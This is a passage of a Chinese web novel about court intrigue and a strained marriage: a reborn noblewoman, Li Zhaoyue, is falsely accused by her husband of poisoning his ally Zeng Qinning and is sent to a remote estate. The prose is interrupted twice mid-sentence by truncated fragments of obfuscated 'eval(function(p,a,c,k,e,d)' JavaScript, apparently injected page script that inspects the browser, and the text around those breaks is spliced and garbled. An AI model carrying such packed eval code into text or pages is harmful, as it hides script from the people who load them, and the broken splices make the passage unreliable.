这番话,无疑是一个重要的政治信号。吏部尚书的态度,在朝中举足轻重。黎昭月明白,这不仅是源于她对柳竞怡的救命之恩,恐怕也与李既白近日在朝中的动向有关。 送走柳夫人后,黎昭月站在廊下,看着院中覆上一层薄雪的石板路,心中思绪万千。李既白悄无声息地走到她身边,将一件厚厚的狐裘披在她肩上。 “风大,当心着凉。” 黎昭月拢了拢狐裘,没有回头,轻声问:“柳尚书的态度……是你运作的结果?” 李既白站在她身侧,与她一同望着庭院:“柳承翰为人刚正,厌恶结党营私。他能表态,更多是出于公心,以及对三皇子一派所为的不满。我不过是在合适的时候,让他看到了他想看到的东西而已。” 三皇子府宴当日。 “靖安侯伤势未愈,仍拨冗前来,本王甚是欣慰。”上官威举杯,说得亲和。 李既白举杯回敬,神色淡然:“殿下设宴,既白岂敢不来。”他手臂动作间仍能看出些许不便,但姿态从容,不见丝毫弱势。 黎昭月安静地坐在李既白身侧,只在必要时才浅笑应答,目光大多数时间都落在自己面前的杯盏上,避免与上官威有直接的眼神接触。 酒过三巡,气氛看似热络,实则暗藏机锋。不断有人向李既白敬酒,言语间多是试探他对北境军务和对几位皇子的看法。李既白应对得滴水不漏,既不过分亲近,也不刻意疏远,态度模糊得让人抓不住把柄。 上官威始终含笑看着,直到宴席过半,他才不经意地提起:“听闻前几日,京郊乱葬岗附近不太平,似乎出了命案?靖安侯可知此事?” 李既白面色不变,慢条斯理地放下酒杯:“哦?竟有此事?既白近日在府中养伤,倒是未曾听闻。不知是何处狂徒,竟敢在天子脚下行凶?” 他直接将问题抛了回去,语气带着恰到好处的惊讶。 上官威盯着他,笑了笑:“不过是几个无名小卒,据说是江湖仇杀,已经处理干净了。只是……”他话锋一转,目光似有若无地飘向黎昭月,“那日似乎有人看到,侯爷府的护卫曾在附近出现,本王还以为是侯爷遇到了什么麻烦。” 屋内仿佛连空气都凝滞了一瞬,所有人的目光都若有若无地聚焦在李既白身上。 黎昭月感觉自己的呼吸都屏住了。 李既白却忽然轻笑了一声,那笑声里带着几分无奈和坦然:“原来殿下说的是这件事。” 他侧头,看了黎昭月一眼,眼神里带着一丝宠溺和纵容,“不瞒殿下,那日是我这夫人,不知从哪听说了乱葬岗附近的山头有一种罕见的止血草药,非要亲自去采,说是对我伤势有益。我拗不过她,又担心她的安危,这才派了护卫跟随。没想到竟惊动了殿下,实在是家宅不宁,让殿下见笑了。” 他这番说辞,合情合理,既解释了护卫出现的原因,甚至还营造出一种夫妻情深的表象。 上官威眼中闪过一分疑虑,但看着李既白坦然的神色和黎昭月羞窘的表情,一时也抓不到什么错处。 “原来如此。”上官威哈哈一笑,将杯中酒一饮而尽,“侯爷与夫人鹣鲽情深,实在令人羡慕啊!” 危机似乎暂时解除,宴席继续。但黎昭月知道,上官威绝不会轻易相信。这只是风暴来临前,短暂的平静。 回府的马车上,黎昭月一直沉默着。直到马车驶入侯府,她才低声对身旁闭目养神的李既白道:“谢谢。” 谢谢他再次为她解围,谢谢他在外人面前维护她。 李既白睁开眼,眸色在昏暗的车厢内显得格外深邃:“你我之间,不必言谢。”他看着她,声音低沉而坚定,“昭昭,记住,无论发生什么,我都会在你身边。” 雪花轻轻敲打着车顶,黎昭月望着他认真的眼眸,心中那堵冰墙,又悄然融化了一角。或许,她真的该试着,去相信他一次。 自三皇子府宴归来后,黎昭月心中对李既白的戒备,在不知不觉中又卸下了几分。 李既白的伤势好了大半,已能正常处理公务,但他依旧宿在内院,似乎已成了习惯。府中下人对此心照不宣,只当侯爷与夫人感情日益深厚。 这夜,雪下得愈发大了,鹅毛般的雪片簌簌落下,将庭院妆点成一片银白。暖阁内炭火烧得旺,驱散了严冬的寒意。黎昭月坐在窗边,望着窗外被雪光映得微亮的夜色,有些出神。 李既白走到她身侧,将一杯刚沏好的热茶递给她,“看什么这么入神?” 黎昭月接过茶杯,“没什么,只是觉得这雪景,安静得让人心宁。” 李既白顺着她的目光望去,忽然道:“还记得你十岁那年的冬天吗?也是下着这样大的雪。” 黎昭月的记忆被拉回到遥远的过去,那时她还是个无法无天的小丫头,缠着李既白去结冰的湖面上玩,结果冰面破裂,她差点掉进冰窟窿里,是李既白拼命把她拉了上来,自己的手却被冰棱划了一道深深的口子。 “记得。” 她轻声应道,眉毛不自觉上扬,“你那时吓坏了,脸色比雪还白,手流了那么多血,却只顾着问我有没有事。” 李既白也笑了笑,那笑容里带着怀念:“是啊,那时我就想,这个麻烦精,可得看好了,不能再让她出一点差错。” 他这话说得自然,带着一种宠溺。黎昭月的心像是被什么东西轻轻撞了一下,一种酸涩又温暖的情绪弥漫开来。那些被仇恨掩盖的美好过往,他一直都记得。 “李既白,”她忽然转过头,认真地看向他,“你能不能告诉我,在你心里,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎昭月的眼眶发热,她迅速低下头,不想让他看到自己失控的情绪。原来如此……原来所谓的“真爱”,所谓的“棋子”,背后竟藏着如此多的无奈和谋划。 她想起了前世。如果李既白所做的一切都是为了保护她和黎家,那么他在地牢里说的那些绝情的话,做的那些残忍的事,是不是也是为了在某种她不知道的绝境下,保护她?这个念头让她浑身发冷,又带着一种难以言喻的悸动。 “那日在……”她几乎要脱口而出“地牢”二字,猛地刹住,改口道,“那日……我做了个很可怕的梦。” 她抬起头,眼中带着连她自己都未察觉的脆弱,“我梦见你……对我说了很绝情的话,还……伤了我。”她紧紧盯着他的眼睛,不放过任何细微的变化。 李既白闻言,眉头紧紧皱起,眼中满是困惑。 “噩梦而已,当不得真。”他握紧了拳,声音带着压抑的怒火和坚定,“昭昭,你记住,我李既白或许手段不算光明,或许有诸多不得已,但我就算是死,也绝不会做出伤害你的事!” 他的反应,没有丝毫心虚和闪躲,只有对她噩梦的心疼和对那虚幻伤害的愤怒。 黎昭月看着他眼中的坚决,最后一道心防,终于在这一刻,轰然倒塌。 泪水毫无预兆地滑落,她迅速别过脸去,肩膀颤抖。 李既白看着她无声流泪的样子,心中一痛,再也顾不得其他,起身将她轻轻拥入怀中。他的动作有些僵硬,带着小心翼翼。 “别哭……”他的声音在她耳边响起,笨拙地安抚,“都过去了,以后有我,不会再让任何人欺负你,也不会再让你做噩梦。” 他的怀抱温暖而坚实,带着令人安心的气息。黎昭月没有挣脱,而是将脸埋在他胸前,任由泪水浸湿了他的衣襟。这一刻,她不想再去纠结前世的真伪,只想沉溺在这份失而复得的温暖和安全感之中。 窗外的雪依旧下着,屋内烛火摇曳,相拥的两人如同跨越了漫长的寒冬,终于触碰到了春日的暖意。长夜未尽,但黎明似乎已不再遥远。 18. 第十八章 阳光透过窗棂,在地上投下斑驳的光影。炭火依旧烧得旺,室内暖融如春。 黎昭月坐在窗边,指尖捻着五彩丝线,却有些心不在焉。她的目光时不时飘向窗外,落在院中那几株覆着残雪的红梅上。 “小姐,侯爷回来了。”云舒笑着进来通报。 黎昭月放下针线,刚站起身,便见李既白一身寒气地从外面进来,玄色的大氅肩头还沾着未化的雪粒。 “外面冷吧?先喝杯热茶暖暖。” 黎昭月走上前,很自然地接过云舒递来的手炉,转手塞到他微凉的手中,又亲自斟了杯热茶递过去。 “营中事务都已处理妥当,接下来几日若无要事,可在府中陪你。”李既白饮了口茶,语气平和。 黎昭月唇角微弯,点了点头:“好。” 午膳的菜肴精致,多是黎昭月喜欢的口味。席间,李既白偶尔会与她提及一些京中趣闻,或是兵部无关紧要的琐事。二人之间十分融洽,然而这份宁静并未持续多久。 墨痕进来禀报:“侯爷,曾小姐来了,说是有要事相商。” 黎昭月执箸的手几不可察地顿了下,随即神色如常地继续用餐。 李既白看了她一眼,对墨痕道:“请她去外书房等候。” 他放下筷子,对黎昭月道:“我去去就回。” “正事要紧。”黎昭月抬眸,给了他一个理解的浅笑。 李既白起身离去,方才的温馨气氛似乎也随之消散了几分。她看着满桌菜肴,忽然觉得胃口尽失。 倒不是对曾钦宁有意见,只是一个人,孤孤单单的也没必要吃什么了。 她回屋里看了会儿书,又逗弄了一下笼中的画眉鸟,终究有些心神不宁。索性披上斗篷,带着云舒去花园散步。 冬日花园景致萧索,唯有几株腊梅凌寒绽放,幽香浮动。黎昭月沿着覆雪的小径缓缓走着,不知不觉,竟靠近了外书房所在的院落。 远远地,她便看到书房窗户上映出两个相对而坐的身影。李既白坐于主位,身姿挺拔,曾钦宁坐在下首,侧影纤细。两人似乎正在交谈,隔着距离,听不清内容,只能看到曾钦宁偶尔会抬手比划着什么。 黎昭月停下脚步,站在一丛枯竹后,静静地看着。她在寒风中站了许久,直到感觉手脚都有些冻僵了,才默默离开。 晚膳时分,李既白果然与曾钦宁一同过来了。曾钦宁见到她,规规矩矩地行了一礼,姿态放得极低:“打扰夫人了。” “曾小姐客气,请坐。”黎昭月维持着端庄,示意她入座。 席间,李既白与曾钦宁不可避免地会谈到一些事情。 “殿下对那批新到的军械似乎很感兴趣,今日还问起了兵部武库司的刘主事。” “刘主事是老人了,一向谨慎。”李既白淡淡道,并未多言。 “是,只是三殿下似乎想从漕运那边想想办法,提到了一个叫‘赵千’的漕帮管事……” “嗯,此人我知晓。”李既白夹了一筷子清笋放入黎昭月碗中,目光却看着曾钦宁,“让你的人盯着即可,暂时不要动作。” 他们用的是一些黎昭月听不太懂的词语和代号,提及的人名她也大多陌生。她插不上话,只能安静地听着,扮演一个合格的听众。 曾钦宁说话时,目光总会专注地看着李既白,眼神清澈,带着一种纯粹。偶尔,她嘴角还会泛起浅浅的微笑,二人仿佛就是知心朋友。 黎昭月默默吃着李既白夹给她的菜,一直低着脑袋没有插话。 “夫人似乎胃口不佳?”曾钦宁忽然将话题引到她身上,语气关切。 黎昭月抬眸,对上她那双仿佛能看透人心的眼睛,勉强笑了笑:“没有,只是今日有些倦了。” 李既白闻言,看了她一眼,对旁边的云舒道:“去把夫人那盅温着的燕窝端来。” 曾钦宁将这一幕看在眼里,笑了笑,“侯爷对夫人真是体贴。” 她语气温和,听不出任何嫉妒或不满,仿佛真的只是在陈述一个事实。 然而,正是这种过于完美的配合,让黎昭月心中那根敏感的弦,又被轻轻拨动了一下。她看不透曾钦宁,这个女子太过冷静,太过通透,仿佛没有任何私心杂念。可越是这样,越让她感到一种无形的压力。 晚膳结束,李既白送曾钦宁到院门口,回转时,见黎昭月还坐在桌前,神情有些怔忪。 “怎么了?可是累了?”他走到她身边,拍了拍她的肩膀。 黎昭月回过神,摇了摇头,问道:“你们……的事情,很棘手吗?” “有些麻烦,但尚在掌控。这些事你不必操心,有我。” “嗯,我知道了。” 夜色渐深,黎昭月躺在床榻上,却毫无睡意。窗外月色清冷,映着雪光。她想起晚膳时李既白与曾钦宁之间那种无形的默契,想起曾钦宁那双过于平静的眼睛。 几日后的一个傍晚,李既白从外面回来,眉宇间凝重。他没有像往常一样先去暖阁,而是直接去了外书房,并让人请黎昭月过去。 黎昭月心中隐约有些预感,放下手中的账本,带着云舒去了书房。 书房内,李既白负手立于窗前,望着外面沉沉的夜色。听到脚步声,他转过身,脸上带着惯常的平静。 “发生了何事?”黎昭月问道。 李既白示意她坐下,自己也走到书案后,沉吟片刻,才开口道:“三皇子那边,最近动作频频。曾钦宁之前提供的一些关于吏部考功司的消息,似乎触动了某些人的利益。我们安排在那边的人传来消息,有人可能在查她的底细。” “她暴露了?” “尚未确定,但风险增加了。她原先的住所虽然隐蔽,但防御力量不足。城外别院目标太大,城内其他几处据点,要么人员复杂,要么容易与我们的其他线索产生关联,不够安全。” 他抬起眼,看向黎昭月,“我与墨痕他们商议过了,眼下最稳妥的办法,是让她暂时住进侯府。” 尽管早有心理准备,但亲耳听到这个决定,黎昭月的心还是猛地往下一沉。她握着茶杯的手指微微收紧,指尖有些发白。 “住进府里?”她看向李既白,试图从他脸上找出些许为难或更多的解释,“侯府虽守卫森严,但人多眼杂,岂不是更容易引人注目?” 李既白似乎料到她会这么问,语气平稳地解释:“正因侯府是众人焦点,反而灯下黑。三皇子即便疑心,也未必会想到我将如此重要的人证直接安置在自己府中。况且,侯府内外皆有我们的人,一旦有异动,反应也最为迅速。这是目前能想到的,最有利的选择。” 黎昭月沉默了片刻。理智上,她明白李既白的考量是对的。曾钦宁若出事,不仅她父亲的冤屈难以昭雪,李既白布下的局也可能前功尽弃,甚至可能引火烧身。 可情感上……前世曾钦宁在婚后第二年住进了客院,她为此大发雷霆,可曾钦宁的确没有做过任何挑衅或是不敬的行为。 黎昭月,心胸要宽广些。 她暗暗警告自己,看着杯中升起的热气,她努力维持着平静,“既然侯爷已权衡利弊,决定好了,那便按侯爷的意思办吧。” 她抬起头,露出一个灿烂的笑,“刚好我还没有能说话的人呢。” 李既白起身走到她面前,蹲下身,这个姿势让他难得地需要仰视她。 “昭昭,”他放柔了声音,话里带着安抚,“我向你保证,这只是权宜之计,待风头过去,或者找到更稳妥的地方,便会让她搬出去。在此期间,我会约束她只在客院活动,尽量不打扰到你。” 他的姿态放得很低,甚至眼底还闪过一分愧疚。 黎昭月轻轻点了点头,“我明白,这有什么,搞得我欺负你一样。”她说着捏了捏李既白的右颊,“可不许哭鼻子。” 李既白一愣,抚上她那白皙的手,掌心温热:“谢谢你,昭昭。” * 曾钦宁带着一个贴身丫鬟,住进了离主院不远不近的“听雪轩”。那处院落小巧精致,环境清幽,是个适合静养的好去处。 李既白亲自过问了听雪轩的布置和用度,确保一切妥帖。曾钦宁入住时,依旧是那副温顺恭谨的模样,对着黎昭月深深一福:“给夫人添麻烦了。” “曾小姐不必客气,安心住下便是。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而,李既白却像是完全没听到她的问话,或者说,他所有的感官和注意力都集中在怀中那个气息奄奄的人身上。 他抱着曾钦宁,脚步没有丝毫停顿,甚至带着一股近乎粗暴的力道,径直朝着听雪轩的方向冲去。 “都愣着干什么!热水!金疮药!快把陈太医给我拎过来!” 他的声音因为极度的焦急而完全失真,那扑面而来的恐惧感,是黎昭月在他身上从未见到过的。即便是前世地牢对峙,他也始终是那副掌控一切的模样。 黎昭月被他这突如其来的怒吼震得呆立在原地,等她回过神来,只看到李既白的背影,以及地上那串触目惊心的血滴。 “你别过来添乱!”李既白仿佛背后长了眼睛,他回头,狠狠地扫过她,“回你的院子去!这里用不着你!” 那一刻,黎昭月仿佛被一道无形的惊雷劈中。她僵在那里,眼睁睁看着李既白抱着曾钦宁,在一群慌乱的下人簇拥下,匆匆消失在听雪轩的方向。 周围忙碌奔跑的下人,似乎都刻意绕开了她所在的位置。她一个人,穿着单薄的寝衣,孤零零站在冰冷空旷的回廊下,初春的寒风吹过,带来刺骨的凉意。 原来,李既白还有如此失态,如此慌乱的时刻吗? “添乱”……原来她的关心,在他眼里,只是添乱。 “不对不对!” 她拍了拍自己的脸,曾钦宁伤势严重,李既白只是关心她,自己不能多想。 听雪轩那边瞬间人声鼎沸,丫鬟仆妇端着热水、捧着药箱进进出出,陈太医也被墨痕几乎是“提”着赶了过来,气氛紧张得如同绷紧的弓弦。 云舒拿着斗篷匆匆赶来,心疼得连忙将斗篷披在她身上:“小姐,您怎么穿这么少就出来了?快回去吧,这儿风大。” “好。”黎昭月拉紧斗篷,“我屋内还有些药品,到时候也一并给曾小姐送过去。” “夫人……”云舒哽咽着,“那个女人,您不把她赶走就算了,怎么还,” “云舒,很多事情,不是表面那么简单。”黎昭月轻轻拍着她的肩,“按我说的办就行。” 19. 第十九章 曾钦宁肩头的刀伤虽未伤及要害,但失血过多,加之受惊,情况颇为凶险。陈太医忙碌了整整一夜,才勉强将伤势稳定下来,言明需好生静养,切忌移动和情绪波动。 接下来几日,靖安侯府的重心仿佛都倾向了听雪轩。李既白几乎将所有的关注和精力都投在了那边。他亲自过问每一剂汤药,吩咐厨房变着花样准备补血益气的药膳,甚至会在曾钦宁因为伤口疼痛辗转难眠时,守在外间,直到她安稳睡去才离开。 府中的下人们皆是察言观色的好手,眼见侯爷如此重视这位曾小姐,伺候得更是尽心尽力。听雪轩俨然成了府内除主院外最受瞩目的地方,而里院,则在无形中被衬得有些冷清。 黎昭月自然感觉到了这些异样,她尽量不去听外面的动静,也不去打听听雪轩的消息,全当这是二人计划之内的事情。 但无论如何,曾钦宁是在为李既白办事时受的伤,于情于理,她都该去探望一番。她刻意选了一个李既白通常会在前院处理公务的时辰,带着一些上好的血燕和补品,去了听雪轩。 院中的丫鬟见她来了,连忙进去通传。黎昭月刚踏入院门,便见李既白从正屋里掀帘而出。他穿着一身墨色常服,面容带着几分倦色,显然昨夜又守得晚了。 “你怎么来了?”见到她,李既白似乎有些意外,脚步顿住。 “我来看看曾小姐。”黎昭月语气平淡,听不出什么情绪,将手中的礼盒递给旁边的丫鬟。 李既白点了点头,侧身让她进去:“她刚喝了药,精神好些了,你进去看看吧,别说太久话。” 黎昭月走进内室。室内药味浓郁,混合着淡淡的血腥气。曾钦宁靠在床头,脸色依旧苍白,唇上没什么血色,见到黎昭月,她挣扎着想要起身行礼。 “曾小姐有伤在身,不必多礼。”黎昭月快走两步,轻轻按住她的肩膀。 “多谢夫人挂念。”曾钦宁声音微弱,带着浓浓的歉意和惶恐,“这次……是钦宁无能,连累侯爷和夫人担心了。” “无妨,你也是为大局受伤。” 黎昭月在床边的绣墩上坐下,目光扫过她裹着厚厚纱布的肩头,“安心养伤便是,府中什么都不缺,需要什么尽管开口。” “夫人仁厚。”曾钦宁低垂着眼睫,“侯爷……侯爷他因为我的伤,耗费了许多心神,钦宁心中实在难安。”她这话说得恳切,仿佛真的只是因为拖累了李既白而感到愧疚。可听在黎昭月耳中,却带着一种微妙的,宣示着李既白对她有多么重视的意味。 黎昭月正要开口,帘子又被掀开,李既白端着一碗刚熬好的汤药走了进来。他径直走到床边,将药碗放在床头小几上,然后伸手替曾钦宁掖了掖有些滑落的被角,动作熟练。 “药刚好,趁热喝了。” “有劳侯爷。”曾钦宁轻声应道,目光飞快地扫过站在一旁的黎昭月,略显局促。 李既白这才像是想起黎昭月还在似的,转过头对她道:“太医说这药需得按时服用,效果才好。” 像是在解释他为何会亲自端药进来。 黎昭月站在那里,看着这一幕。丈夫当着她的面,对另一个女子体贴入微,而她这个正妻,却像个多余的旁观者。 这幅场面,跟前世曾钦宁被她捅了一剑时,真是别无二致。 她强压下喉头的哽塞,维持着脸上得体的微笑:“既然曾小姐要用药,我就不多打扰了。你好好休息。” 说完,她几乎是片刻不愿多留,转身就往外走。 李既白看着她匆匆离去的背影,对曾钦宁道:“你先把药喝了。”随即也跟了出去。 他在听雪轩的院门口追上了黎昭月。 “昭昭。”他唤住她。 黎昭月停下脚步,却没有回头,只是背对着他,肩膀微微绷紧。 李既白走到她身侧,“她那日是为了替我挡开一名刺客掷来的淬毒飞镖,才受的伤。那镖若击中我,后果不堪设想。” 她依旧没有回头,只是望着远处光秃秃的枝桠,声音平静得没有一丝波澜,“侯爷不必向我解释。曾小姐于你有救命之恩,又因公负伤,侯爷多加照拂是应该的。我并非不明事理,心胸狭隘之人。” “我知道这几日冷落了你,但钦宁她伤势不稳,我……” “侯爷,”黎昭月打断他,终于转过头,看向他。她的眼睛很亮,却像是覆着一层薄冰,“我说了,不必解释。你的决定,你的做法,都有你的道理。我理解,也接受。” 她说完,不再给他任何开口的机会,径直朝着里院的方向走去。 而独自回到里院的黎昭月,在关上房门的那一刻,强撑的坚强险些崩塌。 理解?接受? 她真的能做到吗? 当她看到他对另一个女子流露出她从未见过的慌乱和体贴时,当她亲耳听到他为了那人而对她厉声呵斥时,当她感觉自己像个局外人一样被排除在他们的世界时……她怎么可能没有一点反应! 黎昭月,你还是不能坦然接受。她心底自嘲着,只要有曾钦宁在,她就不可能不多想。 信任的一旦动摇,便如同精美的瓷器裂开,只会随着时间的推移和一次次不经意的碰撞,蔓延得越来越深,直至彻底破碎。 曾钦宁的伤势在精心调养下渐渐有了起色,已能偶尔下床慢慢走动。 李既白似乎也意识到了前些时日的冷落,来里院的次数明显多了起来。有时会带些新巧的江南点心,或是几本难得的孤本游记,试图逗黎昭月开心。用膳时,也会刻意找些话题与她闲聊,不再只局限于枯燥的朝务。 这日傍晚,李既白过来昭华苑用晚膳。几样小菜精致可口,都是按他们二人的口味准备的。 就在这时,听雪轩的一个小丫鬟神色匆匆地跑来,在门口被云舒拦住。小丫鬟焦急地低声说了几句,云舒脸色有些为难,但还是进来禀报:“侯爷,听雪轩的姐姐来说,曾小姐晚膳只用了几口清粥,说是胸口发闷,没什么胃口。” 李既白闻言眉头微蹙:“可请太医看过了?” “说是午后陈太医刚来看过,脉象平 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“你这是什么话?”他的声音沉了下来,带着明显的不悦,“钦宁她孤身一人在京,举目无亲,如今又因我而身受重伤,至今未愈。我作为主家,多关照她一些,询问她的病情,有何不对?” 他朝她走近两步,“我以为你经过上次,已经能明白其中利害,理解我的不得已,体谅钦宁的付出和牺牲。大局当前,些许个人情绪本该搁置一旁。” 他的话语如同冰冷的雨点,砸在黎昭月的心上,仿佛她只是无理取闹一样。 李既白看着她褪去血色的脸庞和微微颤抖的唇瓣,丝毫没有留情,语气愈发沉冷,“没想到,你竟还是如此,小心眼。” “小心眼”三个字,像一把淬了毒的匕首,又快又狠地刺入了黎昭月心中最敏感的地方。 她猛地抬起头,难以置信地瞪大了眼睛,看着眼前这个曾对她许下守护誓言的男人。 她全然没料到,李既白会拿以往的痛处来刺激她,这是她幼时最不愿面对,也是最不堪的一面。可这个男人,却无所谓地说了出来。她所有的忍耐,所有的理解和体谅,在他眼里最终都只归结为这三个充满鄙夷的字眼。 委屈和绝望将她淹没,喉咙像是被一只无形的手死死扼住,又酸又痛,让她发不出任何声音。她想质问他,想将满腹的愤怒都吼出来,可张了张嘴,却只觉得一股腥甜涌上喉头,所有的言语都无力地溃散开去。 她只是死死盯着他,眼圈迅速泛红,蓄满了泪水,却倔强地不肯让它们掉落。 李既白看着她这副模样却别开了脑袋,让人看不清表情,“我不是那个意思……我只是希望你能识大体,顾大局……” “侯爷不必再说了。”黎昭月仿佛耗尽了所有力气,每一个字都像是从齿缝里挤出来,“你去吧,别让曾小姐等急了。” 这话,是彻底的失望和心灰意冷。 李既白没有犹豫,转身大步离开。 听着他远去的脚步声,黎昭月无力地伏在冰冷的桌面上,肩膀剧烈颤抖着,滚烫的泪水迅速浸湿了衣袖。即便经历过一次,她竟然还是这么没出息。 20. 第二十章 ——客院 “不好了!曾小姐……曾小姐不好了!” “快!快去请陈太医!” “侯爷!快去禀报侯爷!” 门外的声音愈发慌张,黎昭月的心沉了下去。曾钦宁……又出事了?她犹豫着是否该过去看看,毕竟人命关天。可一想到李既白冰冷的眼神和斥责,脚步便如同灌了铅般重。 就在她踌躇之际,门外已是一片灯火通明,人影幢幢,皆朝着听雪轩的方向涌去。 听雪轩内此刻已乱作一团。曾钦宁面色潮红,呼吸急促,原本已开始结痂的肩头伤口竟红肿不堪,不断渗出黄浊的脓水,空气中弥漫着一股难闻的气味。她双目紧闭,牙关紧咬,已是半昏迷状态。 李既白站在床前,脸色阴沉得可怕,周身散发的低气压让满屋子人大气都不敢喘。他紧紧盯着床上气息奄奄的曾钦宁,拳头攥得死紧。 陈太医被墨痕几乎是半拖着疾步而来,他一看曾钦宁的状况,脸色立刻凝重起来,连忙坐下凝神诊脉,又仔细查看了她肩头的伤口。 时间在令人窒息的寂静中一点点流逝。良久,陈太医才收回手,眉头紧锁,捻着胡须,面色惊疑不定。 “太医,如何?”李既白道。 “侯爷,”陈太医语气沉重,“曾小姐这症状……来得极其蹊跷。昨日老夫来请脉时,伤口明明愈合良好,脉象虽虚,却平稳有序。如今这急转直下,高热不退,伤口溃脓……这绝非寻常伤势反复,倒像是受了什么极厉害的外邪侵袭。或是……”他顿了顿,似乎在斟酌词句,“或是接触了与她所服汤药药性猛烈相克之物,以致引动内火,毒性发作。” “相克之物?”李既白眸中寒光一闪,“她所用汤药和饮食,皆由专人负责,反复查验,怎会混入相克之物?” 陈太医目光在室内逡巡,最终落在曾钦宁枕边那个散发着淡淡清苦药香的锦囊上,“侯爷,恕老夫多言,此物……可否容老夫一观?” 李既白顺着他的目光看去,他心头莫名一紧,示意丫鬟将香囊取下。 陈太医接过香囊,先是置于鼻下仔细嗅闻,眉头越皱越紧。随即,他解开系口,将里面填充的花草药材尽数倒在旁边的白绢上,枯枝碎叶间,一些颜色略深的粉末引起了她的注意。他用指尖沾取少许,再次嗅闻,又小心地以银针试探,脸色蓦然一变。 “侯爷!”陈太医声音带着难以置信的惊骇,“此香囊中,竟混有少量断肠草研磨的粉末!” “断肠草?”李既白瞳孔骤缩。他虽不精医理,却也知此物有剧毒。 “正是!”陈太医语气肯定,指着那少许深色粉末,“此物性极烈,虽掺入量少,但制成香囊长期佩戴,其毒性会随呼吸缓缓渗入肺腑!曾小姐伤势未愈,气血两亏,体内正服用的几味主药,药性与这断肠草正是相克!两相冲撞,便如火上浇油,这才导致伤势骤然恶化。这……这分明是有人蓄意为之啊!” “蓄意为之……”李既白喃喃重复着这四个字。 “这香囊,从何而来?”他猛地转身,声音如同来自九幽寒狱,冰冷刺骨。 负责伺候曾钦宁的大丫鬟早已吓得魂不附体,噗通一声跪倒在地,涕泪横流,颤声道:“是……是前两日,夫人来看望小姐时,亲自送来,说此物安神效果极佳,特意赠与小姐的……小姐感念夫人心意,这几日一直佩戴在身……” “黎昭月。”李既白不再看床上气息微弱的曾钦宁,也不再理会跪地哀求的丫鬟和面色凝重的陈太医,直往里院的方向。 “砰——!” 房门被一股巨力狠狠撞开,巨大的声响惊得守在外间的云舒尖叫一声。 黎昭月刚披衣下榻。烛光下,李既白去而复返,脸色铁青,眼神凶狠得仿佛要将她生吞活剥。 “黎昭月,我当真是小瞧了你!”他声音嘶哑,将拆开的香囊摔在地上,“这香囊里的断肠草,你作何解释?” 黎昭月被他这劈头盖脸的质问砸懵了,她低头看着那熟悉的香囊,这是她之前噩梦缠身,特意让云舒去京城最有名的师傅配制的安神香囊,用料清清楚楚,她自己亦佩戴多时,怎会有断肠草? “这香囊是我所赠不假,”她抬起眼,迎上他吃人般的目光,“但里面绝无断肠草,这只是最普通的安神香囊,我自己也在用……” “普通?” 李既白嗤笑一声,那笑声里充满了讥讽和厌恶,“陈太医亲自验过,里面混入了断肠草粉末!钦宁如今高热昏迷,性命垂危,皆因你这香囊所致!” 他上前一步,高大的身影带着强烈的压迫感,“黎昭月,我原以为你只是被娇纵惯了,有些任性妄为的小性子!却没想到你竟心胸狭隘,狠毒至此!要用这等下作手段来害人性命,你还有没有半点人性!” 辩解的话卡在喉咙里,在如此“确凿”的人证物证在面前,显得那么苍白无力。她还能说什么?说陈太医也被收买了?说曾钦宁苦肉计?他会信吗? 在他心里,早已给她判了死刑。 “侯爷说得是,”黎昭月长长的睫毛垂下,在苍白的脸颊上投下阴影,“我自愿领罚,不论是送至官府还是什么,我黎昭月都认了。” 此言一出,满室皆寂。 不仅李既白愣住了,连地上哭泣的云舒,以及门外候着的墨痕,都因这完全出乎意料的反应而怔在当场。 没有哭闹,没有不甘,只有一种令人心悸的平静。 李既白深吸一口气,“即刻收拾东西,去城西的别庄静思己过!没有我的命令,不得踏出庄子半步,更不得回府!” 城西别庄,那是侯府产业中最偏远,最简陋的一处。前世她杀死曾钦宁才被送去静闭思过了两周,如今,竟提前去这熟悉的地方了。 云舒闻言,猛地抬起头,脸上血色尽失,想要开口求情,却被黎昭月一个眼神制止。 黎昭月脸上没有任何表情,既无愤怒,也无悲伤,仿佛他说的不过是明日天气如何。她甚至微微颔首,“好。” “黎昭月!”李既白忍不住低吼出声,“你……” 他想问,你难道就没有什么要说的吗?你想清楚,去了那里意味着什么! 可话到嘴边,看着她那副油盐不进的模样,他又硬生生咽了回去。 “立刻收拾东西!”他甩下这句话,脚步声逐渐消失在院外。 云舒直到此时才敢哭出声,扑到黎昭月脚边:“小姐!您为什么不解释啊!那香囊明明是奴婢亲自去配的,绝对没有问题!是有人陷害您!我们去求国公爷,求启二公子,他们一定会为您做主的!” 黎昭月缓缓低下头,看着泪流满面的云舒,伸手轻轻拂去她脸上的泪珠,动作温柔,眼神却依旧是一片荒芜的平静。 不必了。”她声音飘忽,“他既已认定,再说何益?” 辩解只会换来更深的羞辱和不信。她累了,不想再在他面前,摇尾乞怜般证明自己的清白。 更何况,这或许正是他想要的。一个合理的借口,将她这个碍眼的“旧人”打发得远远的,好为他的“新人”腾出位置。 她走到梳妆台前,缓缓取下髻上那支碧玉簪,那是她嫁入侯府时,他亲手为她簪上的。她将玉簪放入一个空锦盒中,合上盖子,发出一声轻微的“咔哒”声,如同彻底关上了过往的一切。 “收拾吧。”她转身,“只带我们自己的东西。” 云舒看着小姐那仿佛一夜之间被抽走了所有生气的模样,心如绞痛,却也知道再多说无益,只能哽咽着应下:“是,小姐。” 天色将明未明之时,一辆毫不起眼的青篷马车悄无声息地停在了靖安侯府的西侧角门。没有送行的仆从,没有多余的行李,只有两个李既白指派来的护卫,如同押解犯人般,一左一右地守在马车旁。 空气清冷,带着破晓时分的寒意。黎昭月未施粉黛,长发用一根最简单的木簪松松挽起,除此之外,周身再无半点饰物。云舒跟在她身后,手里紧紧抱着那个小小的包袱 